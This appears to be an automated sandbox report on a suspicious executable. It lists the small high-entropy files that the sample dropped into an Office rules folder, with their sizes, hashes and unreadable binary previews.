C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.695209106604744
Encrypted:	false
SSDEEP:	12:jbQr9dT27701IuHJjYcc/yefdn3QEt51Pf2xiHgb2A28ws+TfYOkav7d2ltyYk5S:jI27w+uHB1bex3QEtvOiAbl28wsmjQlz
MD5:	10C657B36DD914921FA64E560FACC5D4
SHA1:	8306F90D7DBBC875EC59940BEBBFF69084473B49
SHA-256:	DDA1801AF6A506BFCD760C48638A3399865644A1AC58CCFAD1E4F0C1819EA0B8
SHA-512:	9B0209C6CE01C5211357B0A09DC776DD6F52A40FE55BD616C801D54118830CD61E970BFBF7A2F24AD9C7A1EA2E2B56115125C89D3C3EB02BF7946C783EE33A4A
Malicious:	false
Preview:	.<?.LR4..i8.\ ..TB........X..MG...z\'`....7b....&Z^...{.A...?...DV.......T-.\f..oq.67....f.&..(.[B<.%(..-....X....F...4%...........L5(D.....X.@.........1...W.B..op.r.3p.T.R9-s../.X..)...\|^Z, .3.^....x.dX.z1...m^5..r....i6.s.ac(..\?! {?....E......D...y{nN.....J...[..D3.W........". 5..f5...w........2..........6..j.t.B&......-...._WhP.&.:.SU>..}.}..b.x'Z$...M9..".A-"...c..kB..3.Gz..D...d1.._(..[Q.c ..."......o. 9.....b...03...b@2Be...~.c..(-.}>\|c(......S?#..`.2.0.m.]&.h.......u....G..8......1..4 .I[.I....<...X>j.=....^.q.Ox..i..e.t.)Y]..........W..a.uWoy$..+x...Z..@....Lm.G........Gp.*..>ol..dE.N%...$:.+.!......R.O..~..K.A......j.3mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.7157138217544095
Encrypted:	false
SSDEEP:	24:RfLbMFy4UpFxQ29vU/wK+V+RXaGOx5312Y2bD:JLbMFyDF9vZ+lROD8LD
MD5:	5DAF601D40AF43D6AF3E5FBC844A2CD2
SHA1:	FFD43891F1CB3C3923964D19C71B0D8A05BBCD01
SHA-256:	5586E1A0FE68E1CBA8D21DAE3B0D5F6C896C2E2850AED8DD770EA0662123192B
SHA-512:	FFAEA5C84F4572EF8C6A1FAB187EAB09214EA678D5FB0B0A9D74DCE3135555CFBD6D1725082E056E01AA48AA984F13A07232C7FB1D6784CE885D909B0591C0E7
Malicious:	false
Preview:	.<??.J..~.[;.S..7..S 6.Slo1....]...zn...".F.......J.2..w. &.,.#....E^..............yST(.X0.&P....[..d.,3...FA...)p.O..-_^....^.ws.....e...Em.c....h.....3...df-..'...).Bo+...g.-..."q....^3S...c.-.O.......?.@..q..%.Y6.h...@.K$..E....s..\..;.Q.6.c4 T..r...,.iwI....v..34[..gWr(....+d.L.g........Y.\|..L.~.e.ZX..:..B.T..}.....).0/...l...../=.q.Wcw..%K;.ZD../...N.U>q`..G_....h1.x....BL....o........}.<.=......./Gc.4(.V.n. ..r.6uk.y..b!I..... zN..3.....\|l.G 7N./...!.l.HX........$..:......L}dT.44B.w....>.?.`..k.{.O.^.......<+x..?\."..O...K.".....q..n.D...q5V]..@9.QT.U.y...F......o.Kb..Q*....[.;fC..@...;.HkB......[A....+\...;.o...}l4..Y-Y...U.....a..J.u...q.J.t.'..7...\,e.+........S....;.:Z.P.C.^7..-.T...0mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.711025380706915
Encrypted:	false
SSDEEP:	12:sePpmA770g+vghz7yLqcQLjvPqWhKNWTPgimiOC7xr5KPTtcSwlZMdJv5RxnLebL:seLyvYiqHHvPqkKNWTvzOC9rEwvmHxnu
MD5:	930AF92210562D9790452B2A160A2B27
SHA1:	D685E7DA95CCE263E9AEEA0B9D030AF3386D8D4C
SHA-256:	B4F9BA9470EC0B08D16B4FB8E837A429D17CD5C024AC41CAB7C0E921D216CFAB
SHA-512:	64B23092C6E5C614562767D4F1A131D3ECAEDBF9BBE1558C22653BB5F9576230A6EE68D342383BFA76D07AE7FFC9CCC6C9B7A426FCA082AE65530F40A5D04954
Malicious:	false
Preview:	.<?.Js.Q(z.h..(...&.0..Hno.B....e(.>Ki..&8..Z.3hIJG.crC.S.P.[..O..}6T..;.3.A.......(......h....0V#..YX_.'......b.)..Ai...]~..Ei......:N..J...[...66',v..%.....).#._.!D...NL.$~.)$.!T...v....5.<.....T..."..#..!..fUvx./..?@7W:.@cr...X"...a....%...,EJw.l.X,.....e.0.......73v.].(.(....(.......fo...W.."ow..{&.IU.@.&3.X.G<FG....r.....O.bR......V... ...Zq..l.t.4....nj..D/m...N....t."..'._.k.n\.d.RN"-_;=o.\|....j..Ln.o..BG_..E.....g.h>._(...4l..P..&).a..U&..............W.p.y.!...u..}.<..z..Q..-....gp....w=..]Q&......).\|..H..k4'k{.a..Kg_]........;.wb.j....15A....[9e03g&].(4..-.&.F>Tg..?y@Ya.<9....m...G..8.#*.5C.../.<.c...G.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.712685450583629
Encrypted:	false
SSDEEP:	24:pWW1U/7OCCDffGBSTeho9XTBG7jjPXAxBh2bD:pWDDOTDnpTao9XTB4PK6D
MD5:	B027261904409B4D51E5F0787683AF8B
SHA1:	50AEB079967B9FE6D65D8DBB8D77F44BB4157AD9
SHA-256:	CEB9C9F3E6FE7916BA6136337677975FD0BE46F284FB59D6D981A6B89EBECFED
SHA-512:	7BB25C3AB25F07ED96017EA93FF200A80DC85E3B758D65BD3821FC384686C8064E06BAB9E129003C548F10A3C5131631B6912DBAF0C30E75CC54862E1E5BF5E1
Malicious:	false
Preview:	.<?.s.w.. .(]....e......&.p..M.t."W.V.t9....."+..]..Ca..^...2c...........X..aW.6...z>0.a.;e7.ABl..#@.........;..H.=..b..PY.........8U/.x.....,..w.2..z....<.....0G..d.@P;...J[...Z.oya>..&..f.\| ..{.....4..h;.J..Rb<M....`+2KT..O.._<...r..T.....u."....U..{....J.#.....?..(E..5..z.!:.:..!.....X..h..b.`.'.a...!...TUbM..C.%.b-.+.wB.v}=.n.Pq...'..4......@.q....x.......I.R..7..T1c.-b`'Q..W}..!M..\.....45..........\|r?..n5.{) >.h.g......h.`..Ge.~.d...k.c.T.5..d........UBD.$g.1...R,..."&[v....~..,.j.O.....E.x*-U...=..VQr:..[..:.1.G..o......].es.]....b...........B.^q..9.0...t1..d...!.^R.7L......P..u........b.6L'.P........2#A......#...................}2.j.7.'..Z..x9e.n....xD.F9.lm....[.k.TLX..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.698991499878485
Encrypted:	false
SSDEEP:	12:rYrUT6fJ90Gxog/sQoQRymWiiApDfXrtY9aBBQqpQjlnMSUdNcii9a:MrUT6fPvD5RR1WApDT+aBQrFT2bD
MD5:	4A8F9B833681315E6F9A15BBC06C3BFB
SHA1:	99679F926AD34C9583D7AB8E9CE7D029C644689C
SHA-256:	F9F42B5EE6564C75D428946C6DB4D886B08E069310277297CE87E502CC3936DE
SHA-512:	CDF265EE436C8A6947911A1FF4E3B8F9C0F14EF8C2EF1C226FD92D54F16DDB7173DDA69AD5CACD62DEE349A33FFEA7C117B577B1254CA99EC1EC6AA1287CCD2D
Malicious:	false
Preview:	.<?%L.G.Z.^.5^....GuO.b.,...VK.#d...MUz.....U.....D.7<F..W."...q.j....e....[..g...O.....N.^.......G.R9.E....Kl.d"w.c...>\|.+.^>yd.qQ..D...9]....:.lR3.j..PV........q.3=.VC.....o...`/..ko.Q. ...5....5...=.H.-dM.. ....g....L.2T...9.op..F.L.3V..L...../.....}~.,...!.....-.....\|.+....,nM.q....=.\p..........7...l.:HH.....3C..w.....{n".h...vtD.i}Y[M%....k.C/..\|.j^Uz.I.".6.........5...X...V.zS4....n..L.s.[p..h..D.Z...5....l9....Z]...}..'.....n.*.f&@...@9.<...&5...C.4rG..X+..O.u..j..-"xv.#.&....0fu(..\..MD....n7O..#K..E;.k1i.({.6)B.........30....g.......fIm.rr.'}3.B88.......w.z.\|.?...3....q...y...v.B......Y............!....Lyz......F..`;.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.763580059739413
Encrypted:	false
SSDEEP:	24:RsqaBhxIUwMDOovDjpF3h1FBwgPhP24XzOpFX2bD:Rsq9Uw+vf7x1FCgdjQUD
MD5:	D51A43EBE0E45717C31385468019CEF2
SHA1:	5085C9F49242C5BEFDC215DB8C7610718A6D804B
SHA-256:	66B7881F0A2DE5A478F7F10D40A774D8DFFBF95A499E34D9C7C8815F1EC51E15
SHA-512:	47E999F01F276B1B4BC9BAA8C46A802C3198945893C958EDC47956567D0BE224698CEFA5AB304DF5F8925FEB0140B06AB28643C31AC709A4C83ED70D29846AD3
Malicious:	false
Preview:	.<?......C.<'......E....h. :.L.?.K#"`....-.LVe..5.."....s..m5ca.G.#..N..c....z.s.d...e^.-Y...j...i.D.c....$p9R.5.....k..q.[...g..j.p3....?k..t.=._..6....[.....P.....v>...KP/.o#S..-.....-Rf...H.>..B.N.W..MV...H..."....T...,...6.{.X...3.'.c Cy.f.I..s...(${)~w\.....#.....:`..0}n.#^..`W.g.j...z".k..f.d]1.6 ?x.R..)..LB..'..W$.J..W.qM\U<xA_W.V.!...!D....n4.<E...............9.j..[Yc.im..].........p,xy.E..&@.#{.`.....U{.'....p...O..dr..^\|..l..2..N.M...[__.......j.4H..o........+.....7P2p1.hq;.Z...EX........f.3..#.,P[.J......o..4j.D...0..........ICe...W.....<X%.3...a......n.....:../.f....!eVEX.^.\S............VDkb..9!......Q..C..y?`.!..L.R.iU.b..;.......v...V....k.T.I..u.....*.+.......P..%...kmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.707559463573404
Encrypted:	false
SSDEEP:	12:bNpiUR7jwautM2ZWs+vrbDZ17CYCFrhCI+1exxyknjZtIQA+/iTqtvgM8eRyKWSw:xMURwBtM2ws+d1A9CT1bknzI+/fZ2bD
MD5:	BE14A61BF4C5374F65B881A1C6EEAAF1
SHA1:	421C76E66EBBDB84AD0076B81BFC8425316FF9C1
SHA-256:	6F74CFF4F529D2C3A2D0273C6E994E7EA921286E22A796EA640E2F7FDA7074FB
SHA-512:	02942EBEBA70EE8B62A9A91678676464EBF14FCC82146ADB1E7E9D701CA95DA00D98CE9C5B5B6E692A43584943C08D8FB26F1E45A14B24224216ECB803B82929
Malicious:	false
Preview:	.<?d.....<..3...Q..lZ8C.+......z.gG.3.....{.y.......c..s.<.......T...+.0..F)...E......B.....+.4....WN..;..d........M..m.!.P..-?.Dv..A.....Fo.s.....Lo%.7........BZ....'.+.w.?.]...}-.....-..!oTDWs.nN..2..b.^X@.c$T.+....k`M"...<.....{M..zY.......Cx..5LM......m...+g.qxc......Q....$..3.+.+q{.w...........\|]r,......l..lur.7.,.......M....Z.Ln.&~..te..MA.P:.o$:L.H.#...K...+g>.....%..%7...d....X}..D....R...e.&-.s..=..p........%.b.....elR...<~...._e.n.l.W.X.).-...a.i..e.."..kJ;oS.."\I..`r..O.8.(.?.....+.....&pM.Y..h.....^.fH/..I.eC..c..e..0.Hq..W..^..9q....BBM.aI/.[.. .y.....p.s,o..'L.&OZ...R.>.{.X&}....z]...2.tE..W....XA...;.6....W..ST.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.765760724459746
Encrypted:	false
SSDEEP:	24:QuCNF7VspPUqyI28l5PodXDLCjhNOS4O2bD:QuWJVsNMZSPodXHCjjmD
MD5:	756325037F03005504A2AA3A7C708FF7
SHA1:	16F55DABE522DCF5AA1556C546F20F15861FA40F
SHA-256:	32B2964D3560D5E89F0C250DA5CC209D85870CF719642C1E17DC539152882312
SHA-512:	40C5CC25145BB5F468F7049C6B4B0F9954B9C1486A98DEE14FDC483973E6FF46BFE1C0370DE3E70E01E1C79B9A02317DF0B9E57B6E981D774BD2EC828E4E7AC0
Malicious:	false
Preview:	.<?y..O.b..{./8.1.._.\|._xI..s.VE\..i...4..{.kTG.t...'.O_v..AL..]?..k.@c.<n....x3.....p.g.Q5@......>F.r .f.J.Zj....Y.l{&.?.g6.w..\|......M...4..]h.B_.......'.l..^S"..2...mte./...#FnB..&...H... Y..3.....$...C+p..B...yP......s(P.l...`)......K...x.2i.....^...OJ....b.`......~..Y.2<.Z.?9.9..U....\|.'<......H..n...{.....].....k-..m.'Z...m94...{...:..nc .R?....$..4m7.T.....d..a.DK....=..j.A.Bn4.[..+$....n.\|...R....&...o........m.J...v.H'd$........u.p.NN~...sK.tU.w~...9....`.?u.1....o..u"t.],..\|G.J.Z......&R..h...L g.9......A..sRaVS...%..=...E....M(...$$.....FEI....7..=.......r....TOa....~.o.>...O..kS.o.pP.H..,m......`..W.;!..O.;.oa@.....A'..9P..aX1...p....x...J.'7..q....A..Zh...gmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.887203989989339
Encrypted:	false
SSDEEP:	48:PcJNEr2O1DvPoZHnOvglCtNikxrJUzJuENBleeD:PWNEyO1DnoNv4WkBJmJuENXem
MD5:	7EDFC53C1C6B4E0CB479699E61D0ECCE
SHA1:	9EECEBC082B55F79C59DE6137ACC0C600DA915AB
SHA-256:	392B01A5F9FA64066C2866E56699035A1C40297710DC57F6FE3E61020BBBCE11
SHA-512:	9594E26C94CA7E221DAD398F6EE054248C2EEA1EA13164AF2D86736F6D4BD15FC5B13261170401D2D3CCEEA9DDA6E9BB29DF48A61A24491E2E2324619C9F84CE
Malicious:	false
Preview:	.<?s..9....T....]).?....E<...)6..Ag !...6....Z.M.2..\|r.84.$./.x`.....x..]k.G...o.5'%...`U)C...X..g.UX.t.Kp6.T.g............}...c.u....x......94.`+...$.B.bW...q..OR$.[....x.g...} h....47w.......&.....Pg.....".s.X..2......l'.H.T......n.G.4X.$.iW-.p .../9.L.U......oa.Jf..f.4.nA...n.Q.R.W..;.......d...l".G.Bb....C..a3b.....p..f.X..\t'..a%......F.p(....g....U@UZ.x...%.W.....x.^....sO.vS...a..F.y/.7.Ald.....x...'.....f}...P........Sv..>%.....=Z..."...Y@..DKa.%$b.3..>T....S-.)........G]Y!.".........L.m.{......i..}.+.4E".....;...h...G.0..u._....N..=.X..X....T.e...0....g_......>..eE...Z\|......'\.r.{^.o..B...#.2.&.?..5...s}..........VH.A.N...Z7.M...Ns%.=.(.....nZ(..-..&....:XN7:...>...&.'.q....0.Ijk^(...k..b+...C.L`\..G...MgJY...N.X_....E=...g+...'....a.1.J@.6e./.3.7)..&Et..l....p.x....as.-.96..^...d.......-t.4.9..n~.....x....P?T...82........y.3.J]s...c.p.E..j.t.y......5:.B......Z].y.Bh.."W..x.y..........,0`5V.U.....v/l.N&.'..e7.g`g=7.b. .L[M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.876668067136329
Encrypted:	false
SSDEEP:	48:FcseqqPuCHS4mrvwsdTXCqnJRkk8b7/n9W+UjYrxTD:xeqNCHBmr4aTl/DYn9W+UjGx/
MD5:	2F251C0ABED6542DA47A894467E19EC8
SHA1:	CB95151C206176EB3E7B1C1BF5C7C8F22C1CE6BA
SHA-256:	BA412944DA22A446D033719F5889FE9DBB3C7E7D7BB34663FBFE877B5AD8CD12
SHA-512:	A9CB0C602A731A3E2905676105B34C426E25AC86E2A3DEC0FF154DFED733A1645490D5B03860621E8DB63445C3AAF136CDD8BA7E5FB2C8CA7875FD004F021EAC
Malicious:	false
Preview:	.<?.1....l6.;l........6'...m....=I.."..<.;...2.i]P!.u....".A7=..H..V.).../.1./.8/...p.3$vy3......G...Z.=.Y.......8....\|f.9.J......T.zy...'..+..w'.+...N3S\I..........eO...E.8.@. .s&.2........[..O^.j......f..Gc.......et......L...%..w}.&.{.W..;....K\|...ST`.....T6QKjs........_.d.b..+......6B.....b\|..4...\|.F..kJ ...e.........J.W......u..:.gT.......[9..V..).4BN7&< ........,.0@../. .>1.L....V.w....".<....I.. ......K.$D/.>.~....>"!._.Kr......O..t.>....o..usK.s*.........]..!..d.j.f.)..0..dh..{..W}..."..q....l.\|%...z..K..&.5.....T..^?L.2:...D..).S_.u}....U=.b....6..^....=. ..(...%:...'h..{..../t.\|.}....e\....x............].q2......O{AwK#Jv.D..b.@..a-...aTK_..b.hE....,..k..K.....Ep.F.F\...L....UL....l.!.A....~8v...$........'......]s...$..V.P.....`D..m R..sc...h.4<!...........?={.Z.<.i ...=..M..M..6..y...2...Rf..is:)'$....!L.u;ir]y.On.J./B..=.V.......i!2...wvH.......<.o.............:.F+r...Z...N.h_YP.p.\|........w.....0.M{LvV........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.898598951749076
Encrypted:	false
SSDEEP:	48:TGEloLGBTTWyvulG9eB/e+mkT3kLiy6u8AGaNsEWD:RGLGB2vlGEgN8vhB
MD5:	61D7E8DD697DC78AC9F235832546E1C5
SHA1:	7D2E77C303AD2AF03D4F2B57E460303ACB702B69
SHA-256:	C8BF6A16314463D8AA2EBC7D421547E75762827E717813379D6CB4C84F4F3480
SHA-512:	E9648FA534CAF34E49CF56ED11CFE50574F6F721EA9B04B3F62AC55DB0F5917EDC185A6350D9AF3C9AE89E8281BFFE8CD20424F085BA146E22AE8AE93F154C54
Malicious:	false
Preview:	.<?.G.......CK .b...J..(.....H..D\|.0......_v..%.....^....@`_.^......1....JV.....I................LCh....].....6.,....\2.&.8".m...I..k.=g^..^F{.g.c...}.or...F...Z..b.?..........7w..b.;o.n....d.ItQ_.".$..........>..1..I_..(w.....1......rt.7.R...1....By..G..'c.f....+.g</.........]...._...6......,.S..Xa....b.q>.F.Vx.01.<.`O&`.-..Y.....%.D...L6....S.....BM.....\|.U...v.y.\|n#........E..i..I............?.S...+^L..J........`......o....W... .d.U2.......m.....\D...............3h...6_..6.o.63.$.W.>\|.?....8.a.].'......q.'\..J...fzcD+!S..H..cAC.QV\..Z.R;;>.........=.\|..X.n..q.7.a.../.......;.$.8......e.l....<1.f....F...E.Ms>..A\H...d....F....K;6.}....b..\|_....3........A....~.!.....{i.M.......'...LP....S..9.R.UsN..K...rh...tu&......X......v!C..a.}..{...$.......X......S..cD..i7.V.x:...R.-.%.....7w..8.>.Z.%....&..'e.\..H7;...).....g..z.Zfu.65.u~...?M....qKe.V..Dy..BGL.e..l....d.!.d..-...ap.W.W@...K...*...R.#...h....5/.eQ....!.S.Wx\|....w.}8_...K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.888081764912178
Encrypted:	false
SSDEEP:	24:T0TF1GCERi3xZicwhwlywgLt2Ylb31YvzfUkRAoYzaKSAdUvCJ6zl3lhIsVkse1G:s1ZkbR2Y4vVWxSAdUmwGLsEIbBD
MD5:	BB1D392508ED7810CE3188285FC06E89
SHA1:	5BA64068EC058C4FB510A70E3E1C5CDEE5750A26
SHA-256:	020036A17D329BF32A30095FCC2838CD084D43E0EF4B598BD45ACD399405943A
SHA-512:	5350384288EE6AE7FEF66444160A25A6B0256E4E9DD99B1E668DC2EEF6C1742A08D67A4DAC891E914B619BB265B14E75F077910ADA6F97E8D4180D7A9627490F
Malicious:	false
Preview:	.<?b.S.....w...Dw......9..o..#.........I..Ui..=..`D.%.l.P...W5?L.e.?.X...&L....o\|.I%].@D.....O..P.}......4....n..K1..38......h..K.p.j....../..&J...Ip.x..`........C..%...6......{./...0.\|8`..;..%R.......T..?2..f......^...^.M....;D.u..n.-..2V".[Ob.jc..c...^.....N..8+d..[eW..jf...=.pf$..!..e.@.].....B...8.\.g..........EW\|Ek<..g.8l....La.HU.a..\..q.....4V.\..c..9 J.....~...^......Jn\|.OX[zv{P...u../.[R8o..<H..y....B.+.{.............A]<.R.......H.!..]G..TH...g...W.Y....8[.+ ..)....?...{Y.[j.Fe.z....t9A",..3]%..B.....v....k......=...y...B.o....(......i.a..X.>....)4!CF...g.. ..>...5....\.$.6..(.[.IVG.3....!{.....v..*x.>....}9...K8[.)m.k%.ft...o.y...G...l..Z.K.....t...F10fb2>h...uEy}M_`..oA\|.G.....(..V..{.(f.~b..G&7b.~.\..#.F..o..."....9..1.$....:.......C..D..'.:?Z.%.+=>f......}.;....".`.t6R..09A.......s...T.L.....:...1{.......VS..n.O..%....A0.....A\|..&l..K.r...T^D.....M.6....s3._M(......!......NS..`x.c....p....w@...H.._@..)TB~.gg.k.....amj:......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.903807870830599
Encrypted:	false
SSDEEP:	48:RtqyACBw7UoJb8zDZPNrsbsaI8wObQzLcmwrCg7eRlZyD:Rt/AjngDZabsaI1/ImwrFQm
MD5:	CAC0098E70B7136D92E6B8E308C4E1E7
SHA1:	0716FFB5B606014B6F8D0A1AD7B23EC8F8572853
SHA-256:	16C2AA280D4A5DF9B0F3B156779737B0CC7211BFCC89831614A4512A12A72FB0
SHA-512:	A13B37DBB47453C2A90F7F51F9B7518157A45D6A799E3B6FB379F247E0ABA6D1A372DC6CE67C2EEB9361C2ACD2C6485963B4B6E5B92AD690BD810C8CE3418A2A
Malicious:	false
Preview:	.<?...!....@...x.....v.F..........> ..t..l:...1.5...+t.q.[.Y9$.<7.....{=-7EiZ.1..)...Q....E...=..:q.....U........4.. &.8..._..s.f...=..F.....d...1l..."..BY....N...2<_.M.....[.p..vu..q.}/O...jS.P....x.4.(../.. u.n...'.......B(..'.I.7Y.N......J.H.........b.~{`.xwG'.........pj#.21..C.Y.......e..j.;k..`......T.......;..(.R...p.....:9=..`....0.....1,wm...nZ.T.mc...x.,.c.6n..u........h..enE3.J.=~.....S0@.I.%...t.t...l.q.....6p[.K.;................T.R+.].H@5M...._....Ph....$&..<~FD.7[JC...........Vv.I.X.>z..4.L)................s@...k...z.BC...C..'.5.a...U.......5..f.qId:..{L..>....X...\.#j..>a.u.....Ub)&..@..z..#t.J.....<bmr(..;GX-@.buq&.%Zw.IM.z{8/..E]>.<....".......x.:..f.Uc.."...)...uERQ....."..Q.9..P........a.../...^....v.=&.Z..~....rv.c.G.?...@........pJ.l....#..%..D.#..3a.4.j....S...t.X.Kp...w....B.$...cv<..V..M!..ws..h=Q.......G...9....k.F~..?K.........!...[.:...U.h^B..}..eGM\..Z.G..;:y.A..9...z...P..r#..G...x.m.4..K... $4...+.....w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.8907781031414705
Encrypted:	false
SSDEEP:	24:6sBguXRveFKiOE+QGq80nzkrUtmcZ2yp4GlcetX6xMMwWrwvLsvsiMMQbgU9nBfk:6sZZiNOcZtps24A5MwW8sEiMMuZILZD
MD5:	A448493FF66A5BDA3A87F0E4C5C3380C
SHA1:	A1F864B6668423C2D9A99625154632233B0C045C
SHA-256:	0FA93B62E039D06FD6D5596A30509E4CEEF7A60A3FC557F56C409EEF1B755227
SHA-512:	14F1CC4EE02F083FEB6F0F45379C4790763FE8960149268B0196E526044A8EA2DECC2A34726849B94CFBA2B62F80FD16E438B9FBDA5EE310F5DB35552491A28B
Malicious:	false
Preview:	.<?.\..0a.6..[.1gi.. `.......\|./......;]...60.F..!..?.R.k..%F.......5.L....HL...{..!.j.-..D.5...P..\.._.9.....X..d..!.j.\'.9s".l...r....J#..t..."./L3.e)...W.....A..v.......!..am..\|K7%...H_.z@..$.k...{......j.7E.YQc%..\|\.`.Bh.70.=.h..5)C.....<..\|..\|..#DM...K....J..........{U....e..}N@!....U/.q...U.x~v~....h.f...?.y..e..l.;..~.8e.C2.5...........b.n..e........U...c.).j.P'....M3.$...e8..L..p}...K..4...0...?8.....u'......K.;.g..S.:jyJ.].....^.u[.-f..9.bOPd.L.xE....4.....=KNd-..6z.m..^s.............MP...^?......:....x..y.2...x(.B.g..y.\.@`...?.[2<TH..e..L.6$h.H5..1..?m...r..A..U....S.&:S.QF.r.y........D.vI.=R......}.5Rz.[..+.H..G.2...&...M..........<>.[...&.....r0...S..l.~...;.V.. .F......H.4d.&..NyM.}%t..t...w.<.%....H.............4.d..T=...x~...G~.iZ."n.....IL..xqb.o.<..-g..!.g8...A....^7..!U.\.>..)..].#8...X.G.[.......4eg..sk...f..Y3&..RD.0u.\|r..X..}..H.q.z.....F`.%Z.+0.k..t......6.......;4.....J.r.{......P\&....D.N..r._....:V.8/.MF...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.896842438732797
Encrypted:	false
SSDEEP:	24:IaZNkmZL5xpY+YnRkEtVlzIl5baN7iR8Kxf+ruth0zrT7LaOz+l2EXI2bD:ImZcnaEDlkGN7i8K8rutMrGOzErD
MD5:	F6C8DDDFA3E89348392275C6091CE5F0
SHA1:	A9FAE09396822456257790F5714057D563A2DFF0
SHA-256:	339275BB9A4F6AA726D09AA4290BB2667A7C6063D49108DB6E863ABAA45D93D5
SHA-512:	F10E7CE98D7C3AE16D41D9DA5EC580173B36FC04FEDD39BBE43BEBAAD9153D05494AE212B17311347F00C5A015686CEC6F2B66AC5379826764A3FD6E08EA49CF
Malicious:	false
Preview:	.<?.^..sZ6.e....8.....X..bE.:.`.i;.........U......p.8.?Yk..>.x....d^..h_.+.u}.(....f..Y..5..tO..-.17..z.X...{...U..F...<\..eN.......<...x......p.K..1../.T.{...<.TErXN.;.5.XM\2.~#c...xD....g._.u...9]...w.~0....:]t\.o..5RT....s.....Y...G%.}..^:...9\|........y..4..J.)\|...t...3.Ya>.sT....ho.K.C.$..f...x&e..&.!:1.3..:M.i.8..(M. ..(t.Y...j7.w.xO....Le.8a.Z.q..]9...}...o.s..O...D.E$...._r.@.g.XV..,&k....z)TB).=.i.J.s..;...a_..\|4.[..'Zs$........R1..RX9.1."..C........X...?...........[.w`kY]F~.r'.Bn..=...T.._Z..6..nL..~...k'.....a..;...N......c...Gi/xOD......#..).v.'h.z..u.)...<~7,.N..<dm/..`Z.3.D,U....m....9C..].u../.dg....").)...^Q....@R.......38.)&.......xdA.FQ.........-..,ZA..N......,.l"n..hhF.....F=xF.o}0...w..>"]....r.......qf..].z:..w `..D..o\..t.Wo.p.Hb&.s...q..nx...t.*U.9M....'2...r........m.G..... .-,..5.z.s.4.p.C.m.a...%4..&z.LJNF.......~3<..d1.l..l&s......B?b..$`..B...I.{SJc..f...&.,.......w.`k....%u.q.@..=hEf{N..b..4k&..5..Z3.

